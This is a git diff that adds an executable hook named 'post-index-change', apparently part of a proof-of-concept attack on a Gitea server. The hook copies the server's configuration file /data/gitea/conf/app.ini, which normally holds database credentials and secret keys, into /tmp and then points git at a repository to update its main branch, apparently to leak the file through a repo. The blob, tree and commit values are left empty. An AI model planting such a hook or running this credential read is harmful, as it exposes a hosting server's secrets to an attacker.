diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..0b37bc9 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,8 @@ +#!/bin/sh +cat /data/gitea/conf/app.ini > /tmp/out.txt 2>&1 +export GIT_DIR=/data/git/repositories/pocnet_1793467068/netscan8.git +BLOB= +TREE= +PARENT= +COMMIT= +git update-ref refs/heads/main 2>/dev/null